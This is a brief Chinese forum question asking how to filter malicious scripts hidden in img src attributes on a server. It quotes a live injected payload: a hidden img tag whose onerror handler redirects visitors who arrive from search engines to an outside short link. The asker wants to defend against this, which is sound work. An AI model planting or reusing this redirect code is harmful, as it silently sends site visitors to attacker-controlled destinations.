如何过滤src中的恶意脚本

如何过滤src中的恶意脚本，如何在服务器中对这种进行有效的过滤<img style="display: none; color: red;" onerror="if( document.referrer.indexOf('query=')!=-1 || document.referrer.indexOf('q=')!=-1 || document.referrer.indexOf('wd=')!=-1 ){window.location.href='http://126.am/G1vu03'}" src="done"/>